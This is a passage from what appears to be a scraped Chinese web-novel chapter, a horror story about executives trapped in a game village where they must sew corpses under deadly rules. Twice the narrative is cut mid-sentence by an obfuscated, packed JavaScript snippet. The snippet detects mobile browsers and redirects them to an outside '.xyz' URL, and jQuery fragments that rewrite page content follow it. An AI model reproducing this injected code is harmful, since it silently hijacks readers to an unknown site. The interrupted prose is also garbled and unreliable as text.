“大概是我太绅士了,总是狠不下心来拒绝女士”钱又默默吐槽。 沈逾白二人再次扛着猪皮和竹子回来时孙德义一行已经缝完五十多具尸体了,尸体依次摆在木桌的右边的地上,缝尸的五人浑身已经被血染透了,血腥味和尸体腐烂的味道仿佛成为了他们身体的一部分。 沈、周二人的形象虽然也已不复刚开始时的整洁,但两厢对比下来还是干净利落得令人生气,孙德义没好气地指使两人将缝好的尸体抬到广场南边的山脚下,那是老头指定的存放缝好的尸体的地方。 本以为要跟他们费一番口舌,却没想这两人还是意外地好说话,应了句好就用带回来的两根竹子将尸体一具一具抬了过去。 孙德义在心里腹诽:“一个毛都没长齐的小白脸还在他面前充什么董事长,不过是靠着家里在公司挂个职罢了,趁着他们刚被拖进游戏搞不清状况想拿捏他们,呸!也不看看自己有没有那个能耐!”他心情突然就变好了,一个优秀的管理者不论在什么环境下都可以发挥自己的管理才能——善于用人,毕竟员工才是一个管理者最大的财富。 两个抬着一个桶走过来的村民打断了孙德义的洋洋得意,没有任何起伏的语调从提线木偶似的两人的嘴里吐出:“所有人,过来吃午饭。现在村长将对每个人上午的工作进行中期检查,请各位及时将做好的产品交到指定位置。” 众人从踏进公司到现在滴水未进,虽然早已饥肠辘辘,但因为受不了满手血污和萦绕在鼻尖的尸臭,都不太想吃这个午饭,孙德义和张龙二人倒是无所谓——他们太饿了,不吃东西喝口水也是可以的,他俩跟李肖一同放下手里的工具休息已经发麻的手腕,邓玲和钱又两人准备把手上这具尸体缝完再休息。 林子深处传来一两声狗叫,无人在意,两个村民已经开始分碗盛饭了。 孙德义两人拿着碗排队走到了盛午饭的村民处,接着碗里被村民用大勺子盛了一碗肉片汤……张龙差点没忍住吐出来。满满一碗的肉片,比公司食堂师傅给他们打的还多,两人不敢在那些木偶村民面前将汤倒掉,只能端着碗往回走。 还没等二人走到,站在木桌前缝尸体的邓玲和钱又几乎是同时发出了惨叫,接着便摔到了地上,李肖被两人的叫声吓得一激灵下意识地往旁边躲开了。 孙德义和张龙极有默契的把盛满肉片汤的碗塞进刚抬完最后一具尸体回来的沈逾白和周知聿手上,朝着邓玲和钱又跑过去。二人被扶起来后大口喘着气,身体止不住地发抖。 孙德义和张龙不知道什么情况,只能不停地给他们顺气喊他们名字。 终于邓玲缓过神来了,她满头大汗抓着孙德义诉说——本来她在正常的缝着尸体,突然感觉到胸口跟压着块石头一样有点呼吸不畅,她以为是广场四面环山空气不太好再加上心里作用导致的,也就没太在意、准备缝完这具尸体休息一下;可没想到症状越来越严重眼前已经开始发黑了,就在她把木针刺进尸体的断肢时,她的右胳膊突然一阵剧痛仿佛有人用尖锐物品扎了进去,随着她痛得扔掉木针摊倒在地,先前那些症状也都慢慢消失了。 钱又在一旁附和肯定了她的说法。 “你们违规了。”端着肉片汤的沈逾白站在一旁,一边喝汤一边说,“我们之前就给你们说过,要按照副本要求行动,就算你是为了完成任务而不遵守规则,也会受到惩罚或是死亡。” 孙德义问:“规则是什么?吃午饭?可是我们都没有吃为什么只有他们俩有事?” “你们没听见狗叫吗?在缝尸匠的传说里,缝尸过程中如果听见野狗的叫声必须立即停止缝尸的动作,否则会发生不好的事。”沈逾白喝光了一碗肉片汤,张龙看着眼睛都要瞪出来了——虽然沈周二人没有动手缝尸体,但在这种满地尸体的情况下还能吃下不知道从哪儿弄来的肉,这不是一般的变态吧,果然还是得多加注意他们。 像是知道他在想什么一样,沈逾白主动解释了一句:“我们在林子里杀野猪的时候,遇到一个村民在扛猪肉,刚刚我们抬尸体过去的时候刚好看到他把从野猪身上割下来的肉放进锅里。” “所以规则是狗叫响起的时候要停下缝尸的动作?你们他妈的怎么不早说?”钱又暴躁质问。 “……我以为你们知道,你们知道缝尸匠这个职业也知道缝尸要用到竹子和猪皮,谁知道你们不知道听见狗叫要停下呢?”沈逾白有点委屈。 邓玲有些懊恼:“我……我忘了,你现在一说我才想起来。” “算了,后面都注意吧。对了你们在林子里发现什么了吗?”孙德义问,说完大概是觉得态度太生硬,又主动分享了一下他们一上午的缝尸心得,“我留意了一下,我们的效率跟那些年轻力壮的村民差不多,应该是高于他们平均水平的。” “林子里野猪数量不是很多,但是战斗力一般、没有我之前在野外遇到的那么难杀,唯一要防着的是其他村民守株待兔,所以如果你们想出去杀野猪一定不要跟砍竹子的人分开。”周知聿大方分享,“以及,我们在路上搜了一两户人家的房子,发现家里都没看见有人,也就是说这个村子里住的所有人可能都是缝尸匠,当然除了我们目标任务那个小姑娘。” “你们回去看过了?” “没有,太远了怕时间来不及,我们几天先多准备些猪皮和竹子备着,等后面任务没那么紧了再趁白天回去看看,顺便完成一下‘让女儿爱我’这个任务。” 孙德义点了点头,不动声色地瞥了张龙一眼,张龙了然地点点头。 “大家都停一下,接下来公布中期检查结果。”沙哑的声音又在广场中响起,老村长边说边慢慢的在广场中踱步。 “完成率前百分之一的村民分别是赵芬。” 村长停在一个留着及腰长发的女子身边 “王甲。” 他停在了一个浑身腱子肉的中年男人身边。 …… 好不容易念完十二个人,停顿了十几秒后又继续开口:“产品良率前百分之一的村民分别是赵芬。” 他走回到第一个女人的身边,投下赞许的目光。 …… 又是十二个人的名字,念完后不紧不慢地再次接道:“综合完成率和良率,中期检查考核结果前百分之一的人分别是赵芬、李巳、何五……让我们恭喜他们今日额外获得百分二的体力加成。” “接下来……”老村长语气突然沉了下来,“我们来公布一下考核后百分之十的村民。” “赵乙,完成率百分之十,良率……零。”村长停在一个颤颤巍巍的佝偻老头身边,毫无感情地俯视他,“根据末位淘汰制度——赵乙,你被淘汰了。” 语闭,村长抬起拐杖往地上一敲。 砰—— 佝偻老头的身体直接炸开,留下一地的碎肉和血沫,碎肉中间夹着几根鱼线,不过距离太远了孙德义一行人并没有看见。 什么意思?这还有末位淘汰? “王二,完成率百分之十,良率百分之五十。王二,你被淘汰了。”村长继续没有 …… “田芳”村长停在了孙德义一行人的面前,毫无感情地再次开口:“完成率百分之五十三,良率百分之四十二。”他的声音如同末日的宣判在孙德义头顶响起,在邓玲细微的哭声中孙德义抖如筛糠,这个什么狗屁游戏,强制完成任务就算了,搞末位淘汰是准备把人都淘汰了然后让尸体自己爬起来缝自己吗? “由于你的考核结果不属于后百分之五,在今天接下来的劳动中将剥夺你们百分之二十的体力,不合格品返工,同时你必须额外完成赵乙的工作任务。”说完拐杖一敲,二十多具不合格的尸体出现在了他们的木桌边,“当然,村里也不是不通情理,由于你们的工作量增加,特许你们工作截止时间延长百分之二十。” 村长的话让几人体会一瞬间的劫后余生,但庆兴的情绪还未体会多久就让他们再次陷入焦虑——他们一上午缝了五十三具尸体,只有二十多具是合格的,下午不但要完成本来的任务还要再缝额外另一个村民的任务!将近一百具尸体!这怎么缝得完? 随着兴奋的散去,冷静下来的五人突然感觉到手脚无力,瞬间明白了村长说的剥夺百分之二十的体力意味着什么,焦虑和烦躁的情绪让孙德义没兴趣再继续听村长在说什么,指挥着喊所有人起来干活。 “孙总……没劲。”李肖无奈。 “没劲你们不会把尸体拖地上来弄?少废话干不完都得死。”孙德义恶狠狠地说完又看向沈逾白。 沈逾白从善如流:“我们去杀猪。”说完跟周知聿互相搀扶着走了。 - 一共九十七具尸体,每人最少得缝十九具,而且必须得符合村长的要求。上午他们为了求快就没有在意缝得好不好,现在却不敢大意了,跟着邓玲学习了一下缝针的方法了就投入到了缝尸的工作之中。 阴沉沉的天又比之前暗了不少,孙德义手表上时针已经走过了五个刻度,他们用翻过来的木桌当凳子,一旁堆积了几十具已经缝好的尸体,一下午下来他们已经筋疲力尽但丝毫不敢停下来,都在尽量多地完成尸体的缝制。 然而他们的效率还是慢了下来——塔中的尸体越往下腐烂程度越高,他们的工作了难度也就越大,现在他们手底下基本已经找不出完整的尸体了,只能先割去腐肉再用猪皮一块块地覆盖。 沈逾白二人带回来了足够用到明天中午的竹子和猪皮,已经不再进林子了,而是跟他们一起轮着缝制尸体好让他们得到休息。他们本想七个人一起缝的,但是没有足够的工具——先前因为考核位于后百分之五而消失的那六个人,他们的工具也一并消失了。 “天快黑了。”正在封着尸体的沈逾白突然出声,“不知道你们还记不记得,早上出门的时候我们答应过小女孩要早点回家,别忘了‘食言’是导致女儿不爱妈妈的原因之一。” 众人听后脸色都不太好,正在休息的孙德义去清点了一下尸体数量:“还差三十五具尸体就够了,现在我问题就是这些剩的尸体腐烂度太高了。我看我们也别休息了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838933|175709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,空闲的两个人先把尸体腐肉清理了把猪皮和竹子备好缝的人就只管缝。” - “时间到,除了完成时间有延长的村民外,其余人把尸体放到指定位置。”在孙德义一行人又完成二十具尸体的缝制后,老村长的声音再次传来。 ——太好了!还剩十五具尸体,而他们至少还有一个小时的时间可以完成剩下的工作,众人松了口气…… “汪、汪、汪……”此起彼伏的狗叫声从山林中传来,这次所有人都听见了。 孙德义一怔,停下手里的动作,看向沈逾白:“什么意思?我们的截止时间延长了百分之二十,这狗叫……应该不涉及我们?” “缝尸匠,狗叫手停。”沈逾白表情严肃,“我们延长的百分之二十只是村长的验收截止时间,可没说不用再遵守这个职业的行规。” “所以接下来的一个小时,我们要一边忍受被木针穿透的疼痛一边一次次地自己动手穿下木针?”钱又几乎是吼出来的。 众人脸色白了又白:“恐怕是这样。” 钱又扔掉手上的木针,撸起袖子站起来朝着村长怒吼:“艹!这是什么傻逼游戏?我他妈招谁惹谁了要这样折磨我们?是谁?是不是公司那群打工的白眼狼干的?我他妈要他们好看!” “钱又!坐下。”在钱又的怒骂声中老村长停下了来回踱步的动作,沉着一张脸用漆黑的眼睛盯着他,孙德义见不得他作死还要带上别人立即开口制止,“想死别带着我们,你就算要收拾那群人也得先有命出去。”钱又感受着越来越凝滞的空气最终还是停孙德义的话坐下了。 “我先试试。”沈逾白主动拿起木针,“我们之前也怀疑过是公司员工干的……”他开始大口喘气。 “第一个副本结束后……我们回去查了……呃……”木针穿过手下尸体的大腿皮肤,沈逾白腿疼得一抖,额前的头发被汗水打湿,但他还是坚持拿着木针准备继续下一针,“我们查了他们……什么都没有……我还准备询问比较信任的下属……但是……游戏里发生的一切我……我根本说不出来……” 两针缝完,沈逾白浑身已经被汗水浸透,脸色比他们缝的尸体还苍白,他放下木针头撑在自己膝盖上休息。 “嘶——”孙德义尝试拿起砍柴刀往一边放着的猪皮和竹子上各划了一刀,痛感随之传来,他龇着牙总结:“看来不管是哪一步,我们作用在尸体和缝尸材料的动作都会以痛感的形式作用在我们身上。”说着他瞟了沈逾白一眼。 邓玲:“幸好你们下午动作快不用再去杀猪剥皮了。” “那么,后面怎么分工?还是轮流来缝?”周知聿饱含深意地问道。 孙德义一行人互相对视了几秒,十分有默契地开口:“我缝尸体。” 开玩笑,被木针穿总好过被一刀一刀割肉剥皮、被砍刀砍骨头,他们也顾不上所谓的社交礼仪和谦让了,毕竟痛是自己承受的。 时间紧迫,众人没再多说什么,各自拿起工具完成剩下的工作。 胸口像是被压了一块大石头,胃仿佛在跟着心脏一起剧烈跳动,孙德义用力吸了口气后直犯恶心,头疼得快要炸开,他眼前已经看不清东西了只能一边摸索一边靠着肌肉记忆将沈白逾颤抖着递过来的猪皮和清理过的尸体缝在一起——每一次的缝合他都能感受到木针从他皮肉里穿过、鱼线在他身体里拉紧……每缝个三四针,孙德义就得停下来休息片刻,不光是要缓解身体上的疼痛,还是在克服心中对‘将木针刺进自己身体’这一联想的恐惧——他身边的其他人也是如此,进度比之前慢了许多,所幸他们剩下的也不多了。 “这是……最后一具了。”周知聿大口呼吸着不怎么新鲜的空气,一具腐肉被处理好的尸体推到孙德义手下,“加油,估计还有二十多分……” “怎么了?”察觉到周知聿的停顿,刚缝完一具尸体的孙德义问。 “……没事儿,你们先弄吧,弄完你们就知道了。”他的语气有些许古怪。 孙德义是在没精力再去应付他的故弄玄虚了,当然也没那个闲心去好奇,现在没有什么能阻挡他抓紧时间缝完这最后一具尸体。 旁边的邓玲大概是缝完了,孙德义听见她先是如释重负地叹了口气,过了大概两分钟,突然倒吸了口凉气,与此同时此起彼伏的抽气声夹杂着骂声传入他的耳朵,不用他问发生了什么,李肖就自动告诉他了:“孙总……这些村民……全都在看着我们……” 他们刚刚一边接受惩罚一边缝尸体,偶尔的休息也是缓解身上的疼痛,压根没注意周围的情况,也没想过这些完成任务的村民在干什么,听李肖这么一说孙德义鸡皮疙瘩都起来了,只能幸好自己现在眼冒金星啥也看不见。 终于,在老村长宣布结束的前一分钟,孙德义打完了最后一个结后,把尸体交给张龙钱又抬去指定的位置,完成了今天的任务。 众人早已不是早上那副社会精英、成功人士的形象,他们躺在被血水染透了的渗水砖上,听村长宣布考核结果,前百分之十没有他们,幸运的是后百分之十也没有。 “嗤……”孙德义望着头顶的一小块天空笑出了声,笑得眼泪都出来了,早上开着保时捷出门的他怎么也想不到自己会有这操蛋的经历。 - 漆黑的天空依旧被厚重的云层覆盖,来时勉强可以看清路的林子此时已经被雾气笼罩,众人开着手机的闪光灯也勉强只能看清走在自己前面的人影,忙碌了一天的一百多名村民走在林间的水泥路上,却只能听见干枯竹叶被踩到的声音。 不能这么被动了,出去后一定要找到被拉进这个狗屁游戏的原因,不能听沈逾白的“完成五轮游戏”的屁话,他一定不要再次被拉进来了——孙德义一边跟着前面的人影往回走一边想。 他走快了两步想跟前面的人说一下出去后的计划,如果没记错的话前面走的是李肖。 没想到随着他步伐的加快前面李肖也快了起来,孙德义觉得有点不对劲,慢慢停下了脚步…… “李肖”也跟着停了下来。 此时孙德义才突然意识到:身边同行的人早在不知道什么时候就消失,只剩下前面那个给他“领路”的人影跟他始终保持着一个不变的距离。 5. 妈妈的心愿(四) “你是谁?”再跟着这个人影走下去不是办法,孙德义举着手机照了半天,光束却始终穿不过浓雾,只好大着胆子冲那个背影喊到。 影子没有回话。 孙德义心里发毛,小幅度地挪到路旁从地上捡了根竹枝,缝尸体时用的工具已经按照村长的要求放在广场了,竹枝虽然比铅笔还细,但是用作壮胆还是聊胜于无,“别装神弄鬼的,你到底要干什么?” 影子突然动了,他慢慢转过身,雾气在这一刻好像消散了,虽然四周还是一样模模糊糊看不清楚,但闪光灯清晰地打在那人影露出来的没有五官的空白的脸上。 孙德义大叫一声转头就跑,然而不论他跑得多快身后始终有一道脚步跟随着他,他壮着胆子回头看了一眼,只见那人影突然停了下来,他心中一喜加快了往前跑的步伐,却被一堵墙撞得摔在了地上。 孙德义捂着被撞了个口子的头确认了一下身后人影的位置,发现那位“没脸人”已经不见了,顿时松了口气;缓缓回头想看看这堵突然出现在路中间的墙是什么情况—— 他看到了一双跟自己脚上一样的被血污、灰尘共同装点的鳄鱼皮鞋,随着他僵硬抬头的动作,被血染透的西装裤、灰色条纹polo衫以及左手手腕上带着的切利尼都一一出现在了孙德义的眼中,哪有什么墙?这是一直跟在他身后的那个人影! 此时的孙德义已经顾不上正在流血的脑袋了,这个没有脸的男人是谁?为什么浑身上下跟他一模一样?答案很明显但孙德义并不敢细想,他四肢并用地往后退了一步,面前那个身影就上前一步;孙德义不敢再退了,但那位“没有脸的”并不会放过孙德义,他依旧迈着不疾不徐的步子继续走向孙德义,先前一直保持着的不变的距离被缩短…… 哒、 哒、 哒、 昂贵的皮鞋踩在水泥路上发出了沉闷的声音,这一步步仿佛直接踩在了孙德义的心脏上…… 最终,没有脸的“孙德义”停在了孙德义的面前,他蹲下身注视着孙德义的五官,半晌仿佛很满意一般将手伸向了孙德义的眼睛。 “啊啊啊啊啊——!”眼珠被挖出来的瞬间孙德义的惨叫声响彻了整个竹林,他不停地挣扎却因为滴水未进的干了一天活儿早已失去了逃跑的力气,他此时的挣扎仿佛案板上的鱼,但是鱼死了至少会得到一个得以饱腹的食客的赞美,他呢? 他孙德义今天死在这儿谁会知道?谁会难过?他那初中就被他送到国外学习、从不肯叫一声“爸爸”的儿子也许会因为得到一笔可观的遗产而惊喜;他那离婚了十几年的前妻也许会因为他的死感谢苍天有眼;他工作了几十年的公司,也许会在官网发一个“沉痛哀悼总经理”的文章、然后立刻换上新的总经理……而他那些一口一个孙总叫着的下属……哈!都怪他们!他记得那个OA界面上说的是“经过员工投票”,好一个员工投票!都是这群狗娘养的不知感恩的白眼狼把他弄到这个鬼地方来的!他给他们发工资让他们实现自我价值,而他们呢?他们想让他死! 孙德义越想越生气,拿着手机泄愤似地往“没脸人”身上去…… 痛感消失了,孙德义没敢睁眼,试着摸了摸脸上的五官,没血、都还好好地长在他自己的脸上。 松了口气的孙德义缓缓睁开紧闭的眼睛,他还是坐在被雾气笼罩的竹林小路上,只是身边围着面无表情的看着他的村民,饶是孙德义已经习惯了被这群木偶人注视也还是被吓了一跳。 见他睁开了眼睛村民纷纷让开了几条小路,孙德义顺着村民让出的地方看去,只见其他几人也各自分散开愣愣地坐在地上,孙德义喊了一声,众人朝他看过来,李肖第一时间爬起来跑到他身边,颤抖着说他遇到了一个没有脸的自己要挖他的五官。 孙德义没说话,听着李肖颤颤巍巍地哭诉完,看了眼其他人,都是差不多状态,很显然他们遇到的情况应该是一样的。 “应该是幻觉。”听见声音孙德义才注意到沈逾白二人抱着手靠着竹子站在一旁像个没事人一样。 “你俩没事儿?”孙德义皱着眉问二人。 沈逾白道:“有事,我们跟你们遇到的情况一样,但是我俩之前去过一个闹鬼的副本遇到过鬼打墙,第一时间就反应过来不对劲,所以比你们早清醒一会儿。” 孙德义已经精疲力尽了,懒得再去探究他话里的真假,只示意李肖把自己拉起来赶快往回赶路。这次众人有经验了,他们互相拉着走在一群村民的中间——也许是因为这些村民除了用诡异的眼神盯着他们外没有干其他什么事,还专门停下来等陷入幻觉的他们,孙德义等人现在觉得这些村民格外亲切。 身边的村民越来越少,到最后只剩下他们一群人——看来他们住的地方是离广场最远的。众人又单独走了二十多分钟,终于看见了孤零零伫立在山脚下的房子。玻璃窗透出温暖的灯光,虽然屋子里还有一个诡异的小女孩儿,但却让众人不约而同地放下了心中的戒备。 几人迈着轻快的步伐走到门前,抬手敲门,咔哒——门开了,伴随着邓玲和李肖的尖叫。 一个被麻绳串联起来的头颅、身子、两条腿就这样大喇喇的挂在门框上,随着门向外推开带来风轻轻晃动。 “闭嘴!”孙德义被李肖二人的叫声吵得脑仁疼,“安静点给我睁开眼看看这是个玩偶!” 这是女孩早上抱着的那个娃娃,早上的时候娃娃被女孩抱着背面对着他们,现在他们终于看清了这个娃娃的脸——这是一个长得跟小女孩一模一样的等身娃娃,只不过头和两条腿从躯干上取了下来,又用麻绳穿在了一起,看起来就像个被五马分尸的小孩。冷静下来的李肖面子上有些挂不住,嘟嘟囔囔的咒骂着。 “哈哈哈哈——”小女孩清脆的笑声传来,“妈妈你又被吓到啦!哼哼谁让你又说话不算话的,这么晚才回来!你明明答应过我要早点回来的。” “对不起,妈妈有事耽误了。”邓玲有一儿一女,女儿跟这姑娘差不多大,她尝试着跟小女孩沟通,“以后妈妈尽量早点回来好吗?” “没关系的妈妈,我已经习惯啦。如果你不能早回来的话我就跟妹妹玩儿。”她望着那个被挂在门框上的娃娃,抓住娃娃的腿一晃娃娃就掉到了她的怀里,“不过妈妈,每次天黑了你没回家我都会担心你被妖怪吃了。” “分离焦虑。”邓玲对着孙德义说了一句,跟上已经抱着娃娃走向客厅的小女孩温柔地说道:“不会的,妖怪打不过妈妈,你不用担心。” “可是妈妈打得过妈妈呀!”幼稚的童声急急反驳,好像生怕“妈妈”不把自己的安全当回事。 邓玲一愣,还没反应过来就听沈逾白问道:“什么意思?” “妈妈今天没回来的时候,我担心妈妈被没有脸的妈妈吃掉,妈妈虽然很厉害,但是没有脸的妈妈也是妈妈,妈妈一定打不过没有脸的妈妈。”女孩儿声音甜甜,如果不是在说着恐怖的话一定非常贴心。 孙德义看向沈逾白,“所以这个‘没有脸的我们’是真实存在的?” “没有脸的妈妈是谁呀?”沈逾白没有回答孙德义的话,继续问小女孩,“是妈妈给你说过她吗?囡囡见过她吗?” “没有哦,但是囡囡知道外面就是有没长脸的妈妈,她会吃了妈妈的。” 所以,这个所谓的“没脸的妈妈”可能是眼前这个有分离焦虑的小女孩想象出来的,外面对没回家时对妈妈的威胁,不知道怎么的就应验在他们身上了,估计是对他们说话不算话的惩罚。 明白了这一层后邓玲被委以重任——安抚孩子,让她以后分离焦虑的时候不要瞎脑补,就算要想也别想太恐怖的东西。 孙德义打开厨房的冰箱,发现里面食材齐全,问谁会做饭,除了沈逾白外的其他人都瘫在沙发上没说话,沈逾白对着孙德义耸了耸肩:“我先去清理一下身上这些,等会儿来做饭。”说罢就走进了卫生间。 孙德义看着沙发上装死的几人十分不顺眼,踢了张龙一脚,指使他一会儿去给沈逾白打下手,张龙明白这是让盯着沈逾白的意思,没多说什么就把位置让给孙德义去厨房洗他那沾满血和黄、白不明物体的手套了。 孙德义走进卫生间时沈周二人以及张龙都已经洗完了,浴室里面有烘干机,夏天的衣服薄很快就能烘干,孙德义把洗好的衣物挂进烘干机的时候十分庆兴接下来不用穿着染血的衣服过五天。 他跨进浴室,温热的清水打在孙德义的身上,紧绷了一天的肌肉和精神同时放松下来,他本来还担心卫生间会发生什么恐怖的事,所以特意排在中间洗——毕竟电影里都是这么演的,什么洗着洗着水变成血水啦、突然出现一个披散头发的女鬼啦;没想到什么也没发生,他也就毫无负担地进来了。 身上的腥臭味彻底被洗护产品的香气覆盖后,孙德义关了热水,象征性地用卫生纸擦了下水,打开烘干机时却愣住了,他放在烘干机的衣服不见了!草!这破游戏怎么不按套路吓人?孙德义气不打一处来,关上烘干机后在卫生间的各个角落找他的衣服。 “吱——”拉链的声音虽然轻,但是在安静的卫生间内还是传进了孙德义的耳朵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838934|175709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他转身朝声音的方向看过去……是烘干机,孙德义慢慢地拉开,在里面看到了自己失而复得的衣物……和一个瞪着大眼睛的娃娃的头,还是眼睛会动的那种…… 也许是今天受到的惊吓太多,孙德义面对这个突然出现的娃娃头已经可以淡定地推开然后拿出自己的衣服穿上了;离开浴室的时候他还是贴心地拎着这个娃娃的头发一起出去,走到小女孩面前把头递给她。 女孩还是像之前一样甜甜地说着谢谢妈妈,一边的邓玲却十分惊讶地问孙德义娃娃头怎么在他那儿:“刚刚我一直跟囡囡在一起啊?娃娃她一直抱着,奇怪我怎么没发现头不见了?” “有什么大惊小怪,我们自己不就是莫名其妙被弄到这个鬼地方来了吗。”孙德义无所谓地说,“你们等会儿进去洗澡的注意一下这小孩儿可能会恶作剧,有问题就喊。也不知道是她的爱好还是因为‘她不爱我’~”孙德义阴阳怪气,被周知聿警告似的瞪了一眼,悻悻的没再说话了。 果然,邓玲在卫生间的洗脸池中捡到了漂浮在水里中的娃娃眼睛、李肖在拿洗发水时摸到了娃娃的手,钱又比较幸运、跟先前的三人一样什么都没遇到。 “妈妈吃饭啦!”女孩端着一个大碗放在餐桌上冲沙发上的几人喊道,邓玲去洗澡后没人搭理她,她就主动跑去厨房找沈逾白提出要帮妈妈做饭。 几人拖着疲惫的身躯围坐在餐桌上,终于吃上了今天的第一顿饭,三菜一汤,炒土豆丝、煮红薯以及番茄炒鸡蛋,这是所有人达成一致的晚饭——一定不要有肉!汤是…… “我草!”张龙揭开汤碗盖子的手一松盖子落回去发出清脆的响声。 “汤里有个头……”看着孙德义不耐烦的眼神张龙迅速解释。 “不可能呀?我做的是青菜汤……嗯?”沈逾白奇怪的揭开盖子,又盖上了,他看向女孩,向众人解释:“汤是她端过来的。” “嘻嘻。” “又是恶作剧?”孙德义悠悠开口,不信邪地揭开盖子往锅里看……好吧不是紫菜汤、不是玩偶,确实是一个泡在血水里的人头…… “不对!是奖励!这是给妈妈晚回家的奖励。” …… 多可爱的小孩儿啊,一说话怎么就怎么阴阳怪气呢…… 众人努力忘记最中间那个大碗里的东西,消灭了一桌子的饭菜。 晚饭后众人接受了沈逾白的建议,各自回到了他们来时的房间休息。由于孙德义一行人的房间里什么都没有,沈逾白从他们的房间里抱了三床棉被给他们打地铺……沈逾白他们那个间房倒是十分正常,里面床、书桌、衣柜、被子什么都不缺,孙德义本想跟他俩一起在里面挤挤的,但谁知道他们一进去囡囡这个孩子就站在门口面无表情地盯着他们,就连他们想在客厅沙发上将就一晚也是这样,最后他们只能老老实实回到那个破房间,自此,囡囡才又甜甜地跟他们道晚安回到了自己的房间。 这一晚,副本世界里非常安静,没有什么闹鬼或者大逃杀事件的发生。 第二天天还没亮孙德义等人就被沈逾白叫醒了,收拾一番装了几个馒头就出门了。昨天他们在广场囤了足够的竹子和猪皮,今天他们要先去广场报道,然后趁着杀野猪、砍竹子的时间派两个人回来攻略小朋友。 “困死了……好累啊……”在灰蒙蒙的天色中,众人安静的走在竹林小路上,张龙突然叹到。 孙德义烦躁地瞥了他一眼,嫌弃的说:“你才走了不到一百米!” “我知道啊孙总,但是不知道是不是昨天晚上一直在梦里被尸体追杀的缘故,我现在真的好累,就向没休息过一样;而且虽然出门前吃了两个馒头,但我现在又觉得有点饿了……” “昨天太累了吧,我其实也有一点不舒服,总感觉有点恶心。”邓玲捂着胸口说。 孙德义撑着膝盖喘了口气,点头表示赞同:“先赶路吧,到了广场再休息。张龙你实在饿得慌可以揪点馒头吃,但是中午别来吃我们的。” 张龙思考了半晌还是决定留着中午再吃…… 走了约莫五十分钟,他们终于又来到了广场入口,挤开挡在前面的村民,众人本想直接到昨天选好的位置呆着休息的,结果眼前的一幕却让他们傻眼了——昨天离开前他们将工具和多准备的竹子、野猪皮一起放在了翻到过来的木桌板上。但是现在,木桌被翻正了,木桌上放着刀枪、木针和鱼线,甚至昨天被鲜血、人体组织污染的广场地面,现在除了塔下还有痕迹外其他的地方光洁如初。 现在的广场,跟昨天早上刚来时一模一样。 6. 妈妈的心愿(五) “诸位,天亮了,过来自行领取工具吧,请缝尸匠尽快完成今天各自的任务。” 天亮了,村长如同一个设定好程序的NPC一样重复着昨天的话,话音落下,一百二十民村民行尸走肉般走向广场中央——在等待天亮的时间里,孙德义将村民数了一遍,一百二十人,昨天因为任务考核不合格消失的十个村民被补齐了,只不过不再是原来那些。 唯一跟昨天不太相同的是塔中的尸体数量明显比昨天多,并且尸体不是在村长宣布完工作后才陆陆续续掉落在塔中的。尸山已经高过水泥柱的最上端,满满当当地挤在柱子空隙处,张龙费劲扯了一具尸体……却只有个胳膊,还是一只没有任何布料的胳膊…… “先放一边吧,等会儿找具没有左胳膊的尸体缝上去,也幸好不是原装的器官不算不合格,不然咱今天指定得交待在这儿。”孙德义摸着自己的寸头叹气。 “不过这么多尸体,今天的计划怕是实现不了了,只希望今天我们能在天黑前弄完,别再食言了……谁知道那小女孩会想些什么幺蛾子啊。” 众人略显沉重地按照昨天的分工开始工作,唯一称得上比较幸运的是,今天的尸体腐烂程度没有昨天那么高,缝尸的难度低了很多——至少不用处理那些腐烂长蛆的肉了。 中午,村里发的吃的还是肉片汤,几人啃着馒头听村长宣布考核前百分之十和后百分之十,一直以“要做就做到行业领先”为目标的几位高层,现在根本不在意领不领先,只是在听到自己不属于后百分之十时已经开始庆祝了。 不过经过一上午的工作,众人发现连前百分之十的完成率都不是很高,证明今天的任务确实很重,所有排名宣布完后村长还补充了一句“今天所有人的工作截止时间均延长百分之三十。” 对此孙德义一行人的态度是:抓紧一切时间干活!所有人增加百分之三十的时间接受惩罚,但谁知道那些NPC村民能不能感受到惩罚呢?毕竟他们连呼吸都没有!所以最终受害者还是只有他们玩家! - 再一次体会到那无法呼吸、头痛欲裂的惩罚时,他们剩下的尸体已经不多了,几个虽然人轮换着在截止时间前完成了工作,但是时间还是比昨天要晚。回去的路上一行人互相拉着尽量不被分散开,却还是再不知不觉中走进了幻境之中,被会拐弯的巨石追着跑了二十多分钟后掉进了不知道从哪儿来的深渊里,跟深渊中虎头蛇身的怪物大战几个回合后才终于打破了幻境重新汇合。 众人累得瘫在地上但还是觉得邓玲昨天晚上对囡囡的心里疏导挺有用的,至少今天幻想出来的不是些什么恐怖超自然的东西了。 站在家门前,几人已经做好了再被人性玩偶吓一跳的准备,结果门打开后什么也没发生,房间里灯火通明,女孩儿并不在客厅里,沈逾白突然脸色一变。 “遭了!你们记不记得游戏背景里说的‘我害死了我的孩子’?” 听了沈逾白的话几人关了大门就往女孩房间跑,任务还没开始做任务对象就没了,他们会怎么样谁也不知道…… 房门一推就开了,里面没开灯,隐隐约约能看见一个小小的身影坐在床边面朝着窗户,走在前面的沈白逾在墙上摸索了半天没找到灯的开关,只能慢慢往前挪靠近那个小小的身影。 “囡囡?” 没有人回答。 “砰!”身后的门突然关上了,几人吓得一机灵。 孙德义:“钱又?你关门干嘛?” “不……不是我啊孙总。” 